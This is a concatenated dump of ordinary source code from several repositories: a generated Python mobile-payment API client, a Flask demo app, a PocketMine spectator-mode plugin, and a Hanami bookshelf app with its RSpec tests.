def get_mobile_payment(self, authorization, payment_id, **kwargs): # noqa: E501
"""get mobile payment # noqa: E501
:param str authorization: Authorization (required)
:param str payment_id: paymentId (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_mobile_payment_with_http_info(
authorization, payment_id, **kwargs
) # noqa: E501
return data
def get_mobile_payment_with_http_info(
self, authorization, payment_id, **kwargs
): # noqa: E501
"""get mobile payment # noqa: E501
:param str authorization: Authorization (required)
:param str payment_id: paymentId (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["authorization", "payment_id"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_mobile_payment" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'authorization' is set
if "authorization" not in params or params["authorization"] is None:
raise ValueError(
"Missing the required parameter `authorization` when calling `get_mobile_payment`"
) # noqa: E501
# verify the required parameter 'payment_id' is set
if "payment_id" not in params or params["payment_id"] is None:
raise ValueError(
"Missing the required parameter `payment_id` when calling `get_mobile_payment`"
) # noqa: E501
collection_formats = {}
path_params = {}
if "payment_id" in params:
path_params["paymentId"] = params["payment_id"] # noqa: E501
query_params = []
header_params = {}
if "authorization" in params:
header_params["Authorization"] = params["authorization"] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/mobile/payments/{paymentId}",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="MobilePaymentResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_mobile_payment_methods(self, authorization, **kwargs): # noqa: E501
"""get mobile payment methods # noqa: E501
:param str authorization: Authorization (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_mobile_payment_methods_with_http_info(
authorization, **kwargs
) # noqa: E501
return data
def get_mobile_payment_methods_with_http_info(
self, authorization, **kwargs
): # noqa: E501
"""get mobile payment methods # noqa: E501
:param str authorization: Authorization (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["authorization"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_mobile_payment_methods" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'authorization' is set
if "authorization" not in params or params["authorization"] is None:
raise ValueError(
"Missing the required parameter `authorization` when calling `get_mobile_payment_methods`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
if "authorization" in params:
header_params["Authorization"] = params["authorization"] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/mobile/payment_methods",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="MobilePaymentResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
| 836f1a8397cb482a2baffda44314af0f8574746c | [
"Markdown",
"Python"
] | 5 | Python | glebsam/python-sdk-v3 | b2f59f45ce6410a6b2fb08870d8ff6068da83093 | 111ad7366945312f30ad7038649be4756083fd5a |
refs/heads/master | <repo_name>Sai628/Flask-Demo<file_sep>/requirements.txt
click==6.6
dominate==2.3.0
Flask==0.11.1
Flask-Bootstrap==3.3.7.0
Flask-Moment==0.5.1
Flask-Script==2.0.5
Flask-SQLAlchemy==2.1
Flask-WTF==0.13.1
itsdangerous==0.24
Jinja2==2.8
MarkupSafe==0.23
SQLAlchemy==1.1.3
visitor==0.1.3
Werkzeug==0.11.11
WTForms==2.1
<file_sep>/README.md
# A demo for Flask framework
<file_sep>/manage.py
# coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from flask import Flask
from flask import render_template
from flask import session
from flask import url_for
from flask import redirect
from flask import flash
from flask_bootstrap import Bootstrap
from flask_script import Manager
from flask_moment import Moment
from flask_wtf import Form
from flask_sqlalchemy import SQLAlchemy
from wtforms import StringField
from wtforms import SubmitField
from wtforms.validators import Required
import os
from datetime import datetime
baseDir = os.path.abspath(os.path.dirname(__file__))
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret_test'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////' + os.path.join(baseDir, 'data.sqlite')
app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
db = SQLAlchemy(app)
manager = Manager(app)
bootstrap = Bootstrap(app)
moment = Moment(app)
class NameForm(Form):
name = StringField('你的名字?', validators=[Required()])
submit = SubmitField('提交')
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64), unique=True, index=True)
role_id = db.Column(db.Integer, db.ForeignKey('roles.id'))
def __repr__(self):
return '<User %r>' % self.username
class Role(db.Model):
__tablename__ = 'roles'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(64), unique=True)
users = db.relationship('User', backref='role')
def __repr__(self):
return '<Role %r>' % self.name
@app.route('/', methods=['GET', 'POST'])
def index():
name_form = NameForm()
if name_form.validate_on_submit():
new_name = name_form.name.data
old_name = session.get('name')
if old_name is None or old_name == new_name:
session['name'] = new_name
name_form.name.data = ''
else:
flash('名字输入错误!')
return redirect(url_for('index'))
return render_template('index.html', form=name_form, name=session.get('name'), current_time=datetime.utcnow())
@app.route('/user/<name>')
def user(name):
return render_template('user.html', name=name)
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
db.create_all()
role_admin = Role(name='Admin')
user_tom = User(username='tom', role=role_admin)
user_jim = User(username='jim', role=role_admin)
user_tim = User(username='tim', role=role_admin)
user_sam = User(username='sam', role=role_admin)
db.session.add(role_admin)
db.session.add(user_tom)
db.session.add(user_jim)
db.session.commit()
print User.query.all()
if __name__ == '__main__':
manager.run()
| a75e26a7f18ea3362ddec2e353b455af45ac31bb | [
"Markdown",
"Python",
"Text"
] | 3 | Text | Sai628/Flask-Demo | 725b91e693758ff44ea21b67146af9acef19781e | 41e9c7cc4123c91738b08aacefe8067428d52d38 |
refs/heads/master | <repo_name>TheCGaming/spectate<file_sep>/README.md
# Spectate!
Put yourself into spectate mode and normal mode (survival) using /spectate on/off
# Gamemode Resets back to survival when each player joins
<file_sep>/src/spc/Main.php
<?php
namespace spc;
use pocketmine\plugin\PluginBase;
use pocketmine\event\Listener;
use pocketmine\event\player\PlayerJoinEvent;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\utils\TextFormat;
class Main extends PluginBase implements Listener {
public $nicknames = [];
public function onEnable(){
$this->getServer()->getPluginManager()->registerEvents($this,$this);
}
public function onJoin(PlayerJoinEvent $e){
$p = $e->getPlayer();
if(isset($this->nicknames[strtolower($p->getName())])){
$name = $this->nicknames[strtolower($p->getName())];
$p->setGamemode(0);
$p->sendMessage(TextFormat::GREEN."");
}
}
public function onCommand(CommandSender $sender, Command $cmd, $list, array $args){
switch($cmd){
case "spectate":
if(count($args) != 1){
$sender->sendMessage(TextFormat::RED."Usage: /spectate on/off");
return;
}
if(strtolower($args[0]) == "off"){
$sender->setGamemode(0);
$sender->sendMessage("§bYou are no longer spectating!");
return;
}
if(strtolower($args[0]) == "on"){
$sender->setGamemode(3);
$sender->sendMessage(TextFormat::RED."§bYou are now spectating! Use /spectate off to stop spectating");
break;
}
}
}
}
| cab31bc340a061f168cc2f910c3b64a962035ac3 | [
"Markdown",
"PHP"
] | 2 | Markdown | TheCGaming/spectate | 5c4529eeae9853b2ad5e5553038cad4d9b84418b | 17edcc596dd9c4030f4d8f83face7f01898185f5 |
refs/heads/main | <repo_name>mstranger/bookshelf<file_sep>/apps/web/helpers/path_helper.rb
module Web
module Helpers
module PathHelper
private
def current_path
params.env['REQUEST_PATH']
end
def current_path?(path)
current_path == path
end
end
end
end
<file_sep>/spec/bookshelf/repositories/user_repository_spec.rb
RSpec.describe UserRepository, type: :repository do
let(:user_repo) { described_class.new }
let(:book_repo) { BookRepository.new }
let(:user) { Hash[email: '<EMAIL>'] }
let(:book1) { Hash[title: 'sample1', author: '<NAME>'] }
let(:book2) { Hash[title: 'sample2', author: '<NAME>'] }
before do
book_repo.clear
user_repo.clear
user_repo.create_with_books(email: user[:email], books: [book1, book2])
end
it 'create user and books' do
expect(user_repo.last.email).to eq(user[:email])
expect(book_repo.all.count).to eq(2)
end
it 'has many books' do
expect(user_repo.last).to respond_to(:books)
end
it 'deletes related books when delete user' do
user_repo.delete(user_repo.last.id)
expect(book_repo.all.count).to eq(0)
end
it '#find_with_books' do
u = user_repo.find_with_books(user_repo.last.id)
titles = [book1[:title], book2[:title]]
expect(u.email).to eq(user[:email])
expect(u.books.map(&:title)).to eq(titles)
end
it '#books_count' do
expect(user_repo.books_count(user_repo.last)).to eq(2)
end
it '#add_book' do
book3 = Hash[title: 'sample3', author: '<NAME>']
user_repo.add_book(user_repo.last, book3)
expect(user_repo.books_count(user_repo.last)).to eq(3)
end
it '#remove_book' do
user_repo.remove_book(book_repo.last.id)
expect(user_repo.books_count(user_repo.last)).to eq(1)
end
end
<file_sep>/spec/web/features/show_unexists_book_spec.rb
require 'features_helper'
RSpec.describe 'Visit book page that does not exsit', type: :feature do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:repo) { BookRepository.new }
let(:book) { repo.last }
before do
repo.clear
repo.create(user_id: user.id, title: 'TDD', author: '<NAME>')
end
it 'diplays each book on the page' do
visit "/books/#{book.id + 1}"
expect(page).to have_content('Not Found')
end
end
<file_sep>/spec/web/features/list_users_spec.rb
require 'features_helper'
RSpec.describe 'List users', type: :feature do
it 'is successful' do
visit '/users'
expect(page).to have_current_path('/users')
expect(page).to have_link('Add new user')
end
end
<file_sep>/spec/web/features/correct_page_title_spec.rb
require 'features_helper'
RSpec.describe 'Display correct title for', type: :feature do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
it 'root page' do
visit '/'
expect(page).to have_title('Bookshelf')
end
it 'books page' do
visit '/books'
expect(page).to have_title('Bookshelf | All books')
end
it 'new book page' do
visit '/books/new'
expect(page).to have_title('Bookshelf | New book')
end
it 'show book page' do
book = BookRepository.new.create(user_id: user.id, title: 'Sample', author: '<NAME>')
visit "/books/#{book.id}"
expect(page).to have_title('Bookshelf | Book info')
end
it 'edit book page' do
book = BookRepository.new.create(user_id: user.id, title: 'Sample', author: '<NAME>')
visit "/books/#{book.id}/edit"
expect(page).to have_title('Bookshelf | Edit book')
end
it 'users page' do
visit '/users'
expect(page).to have_title('Bookshelf | Users')
end
it 'new user page' do
visit '/users/new'
expect(page).to have_title('Bookshelf | New user')
end
end
<file_sep>/spec/web/views/books/edit_spec.rb
RSpec.describe Web::Views::Books::Edit, type: :view do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:book) { Book.new(id: 1, user_id: user.id, title: 'Sample', author: '<NAME>') }
let(:exposures) { Hash[book: book, params: params] }
let(:template) { Hanami::View::Template.new('apps/web/templates/books/edit.html.erb') }
let(:view) { described_class.new(template, exposures) }
let(:rendered) { view.render }
after { UserRepository.new.clear }
context 'when no errors' do
let(:params) { OpenStruct.new(valid?: true) }
it 'shows form filled with book attributes' do
expect(rendered).to include(book.title)
expect(rendered).to include(book.author)
end
end
context 'when has error messages' do
let(:params) { OpenStruct.new(valid?: false, error_messages: ['Title must be filled', 'Author must be filled']) }
it 'displays this errors' do
expect(rendered).to include('There was a problem with your submission')
expect(rendered).to include('Title must be filled')
expect(rendered).to include('Author must be filled')
end
end
end
<file_sep>/README.md
# Bookshelf
This is a starter Hanami (1.3) project with additional steps and actions.
## What is done
books
- `:books` completed resource and model
- bootstrap layout with css and js assets
- flash messages, dynamic titles, partials
- basic validatations
- all tests for books
- navbar with auth stubs
users
- `:users` resource (index, new, create actions) and model
- association `has_many` and `belongs_to`
- tests for associations and users
- now books relate to users
main
- custom `current_path` helper
You can find examples of creating users or books in the `db/seed.rb` file.
## Setup
Setup (create and migrate) database for _dev_ and _test_ environments:
```bash
% bundle exec hanami db prepare
% HANAMI_ENV=test bundle exec hanami db prepare
```
Run dev server:
```bash
% bundle exec hanami server
```
and go to [localhost:2300](http://localhost:2300) by default
Run tests:
```bash
% bundle exec rake
```
Run console:
```bash
% bendle exec hanami console
```
**NOTE:** Use `RUBYOPT='-W0'` for suppress warnings if need.
---
More resources:
- [guides](https://guides.hanamirb.org/)
- [API docs](http://docs.hanamirb.org/1.3.3/)
- [chat](http://chat.hanamirb.org)
<file_sep>/db/seed.rb
### seed.rb file
### Examples
## Create only user
# UserRepository.new.create(email: '<EMAIL>')
## Create user with books
# user_repo = UserRepository.new
# user1 = '<EMAIL>'
# book1 = { title: 'Confident Ruby', author: '<NAME>' }
# book2 = { title: 'Everyday Rails Testing with RSpec', author: '<NAME>' }
# user_repo.create_with_books(email: user1, books: [book1, book2])
## Create only book
# book_repo = BookRepository.new
# book_repo.create(
# user_id: user_repo.last.id,
# author: 'book author',
# title: 'book title'
# )
## Delete all books for this case (all books relate to users)
# UserRepository.new.clear
<file_sep>/spec/bookshelf/entities/user_spec.rb
RSpec.describe User, type: :entity do
it 'can be initialized with attributes' do
user = described_class.new(email: '<EMAIL>')
expect(user.email).to eq('<EMAIL>')
end
end
<file_sep>/spec/web/shared_variables.rb
RSpec.shared_context 'shared variables' do # rubocop:disable RSpec/ContextWording
let(:flash_notice) { 'Success rendering' }
let(:flash_alert) { 'Fail rendering' }
end
<file_sep>/spec/web/controllers/books/edit_spec.rb
RSpec.describe Web::Controllers::Books::Edit, type: :action do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:repo) { BookRepository.new }
let(:book) { repo.last }
let(:action) { described_class.new }
let(:params) { Hash[id: book.id] }
let(:invalid) { Hash[id: book.id + 1] }
before do
repo.clear
repo.create(user_id: user.id, title: 'TDD', author: '<NAME>')
end
it 'is successful' do
response = action.call(params)
expect(response[0]).to eq(200)
end
it 'expose book' do
action.call(params)
expect(action.exposures[:book]).to eq(book)
end
it 'returns not_found if invalid id' do
response = action.call(invalid)
expect(response[0]).to eq(404)
end
end
<file_sep>/apps/web/views/application_layout.rb
module Web
module Views
class ApplicationLayout
include Web::Layout
Web::Views::TITLE = 'Bookshelf'.freeze
def page_title
TITLE
end
end
end
end
<file_sep>/lib/bookshelf/repositories/book_repository.rb
class BookRepository < Hanami::Repository
associations do
belongs_to :user
end
def find_with_user(id)
aggregate(:user).where(user_id: id).map_to(Book).one
end
end
<file_sep>/spec/web/views/books/show_spec.rb
RSpec.describe Web::Views::Books::Show, type: :view do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:book) { Book.new(id: 1, user_id: user.id, title: 'Sample', author: '<NAME>') }
let(:exposures) { Hash[book: book] }
let(:template) { Hanami::View::Template.new('apps/web/templates/books/show.html.erb') }
let(:view) { described_class.new(template, exposures) }
let(:rendered) { view.render }
it 'exposes #book' do
expect(view.book).to eq(exposures.fetch(:book))
end
it 'shows the book' do
expect(rendered.scan(/class="book"/).length).to eq(1)
expect(rendered).to include('Sample')
expect(rendered).to include('<NAME>')
end
it 'hides the placeholder' do
expect(rendered).not_to include('Book not found.')
end
end
<file_sep>/spec/web/controllers/books/destroy_spec.rb
RSpec.describe Web::Controllers::Books::Destroy, type: :action do
let(:action) { described_class.new }
let(:repo) { BookRepository.new }
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:book) { repo.create(user_id: user.id, title: 'TDD', author: '<NAME>') }
before { repo.clear }
context 'with valid id' do
let(:params) { Hash[id: book.id] }
let!(:response) { action.call(params) }
it 'deletes a book from repository' do
expect(repo.all.count).to eq(0)
end
it 'redirects to the books listing' do
expect(response[0]).to eq(302)
expect(response[1]['Location']).to eq('/books')
end
it 'has a flash notice' do
flash = action.exposures[:flash]
expect(flash[:notice]).to eq('Book was deleted.')
end
end
context 'with invalid id' do
let(:params) { Hash[id: book.id + 1] }
it 'returns client errors' do
response = action.call(params)
expect(response[0]).to eq(422)
end
end
end
<file_sep>/spec/web/controllers/books/create_spec.rb
RSpec.describe Web::Controllers::Books::Create, type: :action do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:book) { Hash[title: 'Confident Ruby', author: '<NAME>'] }
let(:action) { described_class.new }
let(:repo) { BookRepository.new }
before { repo.clear }
context 'with valid params' do
let(:params) { Hash[book: book.merge(user_id: user.id)] }
let!(:response) { action.call(params) }
it 'creates a new book' do
book = repo.last
expect(book.id).not_to be_nil
expect(book.title).to eq(params.dig(:book, :title))
end
it 'redirects the user to the books listing' do
expect(response[0]).to eq(302)
expect(response[1]['Location']).to eq('/books')
end
it 'has a flash notice' do
flash = action.exposures[:flash]
expect(flash[:notice]).to eq('New book was added.')
end
end
context 'with invalid params' do
let(:params) { Hash[book: {}] }
let!(:response) { action.call(params) }
it 'returns HTTP client error' do
expect(response[0]).to eq(422)
end
it 'dumps errors in params' do
errors = action.params.errors
expect(errors.dig(:book, :title)).to eq(['is missing'])
expect(errors.dig(:book, :author)).to eq(['is missing'])
expect(errors.dig(:book, :user_id)).to eq(['is missing'])
end
end
end
<file_sep>/spec/bookshelf/entities/book_spec.rb
RSpec.describe Book, type: :entity do
it 'can be initialized with attributes' do
book = described_class.new(title: 'Refactoring', author: '<NAME>', user_id: 1)
expect(book.title).to eq('Refactoring')
expect(book.author).to eq('<NAME>')
expect(book.user_id).to eq(1)
end
end
<file_sep>/apps/web/controllers/users/index.rb
module Web
module Controllers
module Users
class Index
include Web::Action
expose :users
def call(_params)
@users = UserRepository.new.all
end
end
end
end
end
<file_sep>/apps/web/views/home/not_implemented.rb
module Web
module Views
module Home
class NotImplemented
include Web::View
def page_title
"#{TITLE} | Not Implemented"
end
end
end
end
end
<file_sep>/spec/web/controllers/users/index_spec.rb
RSpec.describe Web::Controllers::Users::Index, type: :action do
let(:action) { described_class.new }
let(:repo) { UserRepository.new }
let(:user) { repo.create(email: '<EMAIL>') }
let(:params) { Hash[] }
let(:response) { action.call(params) }
before do
repo.clear
user
end
it 'is successful' do
expect(response[0]).to eq 200
end
it 'exposes all users' do
response
expect(action.exposures[:users]).to eq([user])
end
end
<file_sep>/lib/bookshelf/repositories/user_repository.rb
class UserRepository < Hanami::Repository
associations do
has_many :books
end
def create_with_books(data)
assoc(:books).create(data)
end
def find_with_books(id)
aggregate(:books).where(id: id).map_to(User).one
end
def add_book(user, data)
assoc(:books, user).add(data)
end
def remove_book(id)
BookRepository.new.delete(id)
end
def books_count(user)
assoc(:books, user).count
end
end
<file_sep>/spec/web/features/add_book_spec.rb
require 'features_helper'
RSpec.describe 'Add a book', type: :feature do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
before { UserRepository.new.clear }
after { BookRepository.new.clear }
it 'can create a new book' do
user
visit '/books/new'
expect(page).not_to have_content('Create User first...')
within 'form#book-form' do
fill_in 'Title', with: 'Example book'
fill_in 'Author', with: 'Some author'
select user.email, from: 'book-user-id'
click_button 'Create'
end
expect(page).to have_current_path('/books')
expect(page).to have_content('Example book')
expect(page).to have_content('New book was added')
end
it 'displays list of errors when params contains errors' do
visit '/books/new'
within 'form#book-form' do
click_button 'Create'
end
expect(page).to have_current_path('/books')
expect(page).to have_content('There was a problem with your submission')
expect(page).to have_content('Title must be filled')
expect(page).to have_content('Author must be filled')
expect(page).to have_content('User Id must be filled')
end
it 'display message if no users' do
visit '/books/new'
expect(page).to have_content('Create User first...')
end
end
<file_sep>/apps/web/controllers/books/destroy.rb
module Web
module Controllers
module Books
class Destroy
include Web::Action
def call(params)
repository = BookRepository.new
book = repository.find(params[:id])
return self.status = 422 unless book
repository.delete(book.id)
flash[:notice] = 'Book was deleted.'
redirect_to routes.books_path
end
end
end
end
end
<file_sep>/spec/web/features/list_books_spec.rb
require 'features_helper'
RSpec.describe 'List books', type: :feature do
let(:repo) { BookRepository.new }
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
before do
repo.clear
repo.create(user_id: user.id, title: 'PoEAA', author: '<NAME>')
repo.create(user_id: user.id, title: 'TDD', author: '<NAME>')
end
it 'diplays each book on the page' do
visit '/books'
expect(page).to have_current_path('/books')
within '#books' do
expect(page).to have_selector('.book', count: 2), 'Expected to find 2 books'
end
end
end
<file_sep>/apps/web/views/books/show.rb
module Web
module Views
module Books
class Show
include Web::View
def page_title
"#{TITLE} | Book info"
end
end
end
end
end
<file_sep>/apps/web/config/routes.rb
root to: 'home#index'
resources :books
resources :users, only: %i[index new create]
get '/not_implemented', to: 'home#not_implemented'
# get '/books', to: 'books#index'
# get '/books/new', to: 'books#new'
# post '/books', to: 'books#create'
# get '/books/:id', to: 'books#show'
# delete '/books/:id', to: 'books#destroy'
# get '/books/:id/edit', to: 'books#edit'
# patch '/books/:id', to: 'books#update'
<file_sep>/spec/web/views/users/index_spec.rb
RSpec.describe Web::Views::Users::Index, type: :view do
let(:exposures) { Hash[users: []] }
let(:template) { Hanami::View::Template.new('apps/web/templates/users/index.html.erb') }
let(:view) { described_class.new(template, exposures) }
let(:rendered) { view.render }
it 'exposes users' do
expect(view.users).to eq(exposures.fetch(:users))
end
it 'shows add new user button' do
expect(rendered).to include('<a class="btn btn-primary" href="/users/new">Add new user</a>')
end
context 'when there are users' do
let(:user1) { User.new(email: '<EMAIL>') }
let(:user2) { User.new(email: '<EMAIL>') }
let(:exposures) { Hash[users: [user1, user2], params: []] }
it 'lists them all' do
expect(rendered.scan(/class="user"/).length).to eq(2)
expect(rendered).to include(user1.email)
expect(rendered).to include(user2.email)
end
end
end
<file_sep>/spec/web/features/update_book_spec.rb
require 'features_helper'
RSpec.describe 'Update a book', type: :feature do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:repo) { BookRepository.new }
let(:book) { repo.last }
before do
repo.clear
repo.create(user_id: user.id, title: 'TDD', author: '<NAME>')
end
context 'with valid data' do
it 'updates attributes' do
visit "/books/#{book.id}/edit"
within 'form#book-form' do
fill_in 'Title', with: 'Edited title'
fill_in 'Author', with: 'Edited author'
click_button 'Update Book'
end
expect(page).to have_current_path('/books')
expect(page).to have_content('Edited title')
expect(page).to have_content('Edited author')
expect(page).to have_content('Book was updated')
end
end
context 'with invalid data' do
it 'returns error messages' do
visit "/books/#{book.id}/edit"
within 'form#book-form' do
fill_in 'Title', with: ''
fill_in 'Author', with: ''
click_button 'Update Book'
end
expect(page).to have_current_path("/books/#{book.id}")
expect(page).to have_content('Title must be filled')
expect(page).to have_content('Author must be filled')
expect(page).to have_content('There was a problem with your submission')
end
end
end
<file_sep>/spec/web/features/add_user_spec.rb
require 'features_helper'
RSpec.describe 'Add a new user', type: :feature do
let(:user) { Hash[email: '<EMAIL>'] }
after { UserRepository.new.clear }
it 'can create a new user' do
visit '/users/new'
within 'form#user-form' do
fill_in 'Email', with: user[:email]
click_button 'Create User'
end
expect(page).to have_current_path('/users')
expect(page).to have_content(user[:email])
end
it 'displays list of errors when params invalid' do
visit '/users/new'
within 'form#user-form' do
click_button 'Create User'
end
expect(page).to have_current_path('/users')
expect(page).to have_content('There was a problem with your submission')
expect(page).to have_content('Email must be filled')
end
end
<file_sep>/spec/bookshelf/repositories/book_repository_spec.rb
RSpec.describe BookRepository, type: :repository do
let(:book_repo) { described_class.new }
let(:user_repo) { UserRepository.new }
let(:user) { user_repo.create(email: '<EMAIL>') }
let(:book) { book_repo.create(user_id: user.id, title: 'sample', author: '<NAME>') }
before do
book_repo.clear
user_repo.clear
book
end
it 'creates new book' do
expect(book_repo.last).to eq(book)
end
it 'belongs to user' do
expect(book).to respond_to(:user)
end
it 'find book by user id' do
expect(book_repo.find_with_user(user.id)).to eq(book)
end
it 'cannot create book without user' do
expect {
book_repo.create(title: 'other', author: 'example')
}.to raise_error(Hanami::Model::NotNullConstraintViolationError)
end
end
<file_sep>/Gemfile
source 'https://rubygems.org'
gem 'rake', '~> 13.0'
gem 'hanami', '~> 1.3'
gem 'hanami-model', '~> 1.3'
gem 'sqlite3', '~> 1.4'
group :development do
gem 'shotgun', platforms: :ruby
gem 'hanami-webconsole'
end
group :test, :development do
gem 'dotenv', '~> 2.4'
gem 'byebug'
end
group :test do
gem 'rspec', '~> 3.10'
gem 'capybara', '~> 3.35'
end
group :production do
# gem 'puma'
end
<file_sep>/Rakefile
require 'rake'
require 'hanami/rake_tasks'
begin
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
task default: :spec
# task :seed do
# file = File.expand_path('./db/seed.rb', __dir__)
# if File.exist?(file)
# system "ruby #{file}"
# puts 'Done!'
# else
# puts "File db/#{File.basename(file)} does not exist"
# end
# end
rescue LoadError
# skip
end
<file_sep>/spec/web/features/delete_book_spec.rb
require 'features_helper'
RSpec.describe 'Delete a book', type: :feature do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:repo) { BookRepository.new }
before do
repo.clear
repo.create(user_id: user.id, title: 'TDD', author: '<NAME>')
end
it 'removes the given book' do
visit '/books'
within 'form#book-form' do
click_button 'Delete'
end
expect(page).to have_current_path('/books')
expect(page).to have_content('There are no books yet.')
expect(page).to have_content('Book was deleted')
end
end
<file_sep>/spec/web/controllers/users/create_spec.rb
RSpec.describe Web::Controllers::Users::Create, type: :action do
let(:repo) { UserRepository.new }
let(:user) { Hash[email: '<EMAIL>'] }
let(:action) { described_class.new }
before { repo.clear }
context 'with valid params' do
let(:params) { Hash[user: user] }
let!(:response) { action.call(params) }
it 'creates a new user' do
expect(repo.last.id).not_to be_nil
expect(repo.last.email).to eq(params.dig(:user, :email))
end
it 'redirects to the users list' do
expect(response[0]).to eq(302)
expect(response[1]['Location']).to eq('/users')
end
it 'has a flash notice' do
flash = action.exposures[:flash]
expect(flash[:notice]).to eq('User was created.')
end
end
context 'with invalid params' do
let(:params) { Hash[user: {}] }
let!(:response) { action.call(params) }
it 'returns HTTP client error' do
expect(response[0]).to eq(422)
end
it 'dumps errors in params' do
errors = action.params.errors
expect(errors.dig(:user, :email)).to eq(['is missing'])
end
end
end
<file_sep>/spec/web/views/application_layout_spec.rb
RSpec.xdescribe Web::Views::ApplicationLayout, type: :view do
# NOTE: https://github.com/hanami/view/issues/129
#
# This test will fail when use partials in layout and success otherwise.
# As far as I understand this question is still open.
# Instead test root action for example (see: views/home/index_spec.rb)
let(:flash) { Hash[] }
let(:layout) { Web::Views::ApplicationLayout.new({ format: :html, flash: flash }, 'contents') }
let(:rendered) { layout.render }
it 'contains application name' do
page_title = 'Bookshelf'
expect(rendered).to include(page_title)
end
end
<file_sep>/spec/web/views/home/index_spec.rb
require_relative '../../shared_variables'
RSpec.describe Web::Views::Home::Index, type: :view do
let(:flash) { Hash[] }
let(:env) { Hash['REQUEST_PATH': '/'] }
let(:params) { OpenStruct.new(env: env) }
let(:exposures) { Hash[format: :html, flash: flash, params: params] }
let(:template) { Hanami::View::Template.new('apps/web/templates/home/index.html.erb') }
let(:view) { described_class.new(template, exposures) }
let(:rendered) { view.render }
it 'exposes #format' do
expect(view.format).to eq exposures.fetch(:format)
end
it 'contains application name' do
page_title = Web::Views::TITLE
expect(rendered).to include(page_title)
end
it 'contains root template' do
expect(rendered).to include('Index page')
end
context 'with navbar partial' do
it 'contains logo and auth path' do
logo = %(<a class="navbar-brand logo" href="/">Bookshelf</a>)
expect(rendered).to include(logo)
expect(rendered).to include('Sign Up')
expect(rendered).to include('Sign In')
end
end
context 'with flash_messages partial' do
include_context 'shared variables'
context 'when success' do
let(:flash) { Hash[notice: flash_notice] }
it 'display notice' do
expect(rendered).to include(flash_notice)
end
end
context 'when fail' do
let(:flash) { Hash[alert: flash_alert] }
it 'display alert' do
expect(rendered).to include(flash_alert)
end
end
end
end
<file_sep>/spec/web/controllers/books/show_spec.rb
RSpec.describe Web::Controllers::Books::Show, type: :action do
let(:action) { described_class.new }
let(:repo) { BookRepository.new }
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:book) { repo.create(user_id: user.id, title: 'Sample', author: '<NAME>') }
before { repo.clear }
context 'with valid params' do
let(:params) { Hash[id: book.id] }
let!(:response) { action.call(params) }
it 'returns ok' do
expect(response[0]).to eq(200)
end
it 'expose book' do
expect(action.exposures[:book]).to eq(book)
end
end
context 'with invalid params' do
let(:params) { Hash[id: book.id + 1] }
it 'returns not_found' do
response = action.call(params)
expect(response[0]).to eq(404)
end
end
end
<file_sep>/spec/web/controllers/books/update_spec.rb
RSpec.describe Web::Controllers::Books::Update, type: :action do
let(:user) { UserRepository.new.create(email: '<EMAIL>') }
let(:action) { described_class.new }
let(:repo) { BookRepository.new }
let(:book) { Hash[title: 'Confident Ruby', author: '<NAME>'] }
let(:params) { Hash[id: repo.last.id, book: data] }
before do
repo.clear
repo.create(book.merge(user_id: user.id))
end
context 'with valid id' do
let(:data) { Hash[user_id: user.id, title: 'Edited title', author: 'Edited author'] }
let!(:response) { action.call(params) }
it 'is successful and redirect' do
expect(response[0]).to eq(302)
expect(response[1]['Location']).to eq('/books')
end
it 'updates database record' do
expect(repo.last.title).to eq('Edited title')
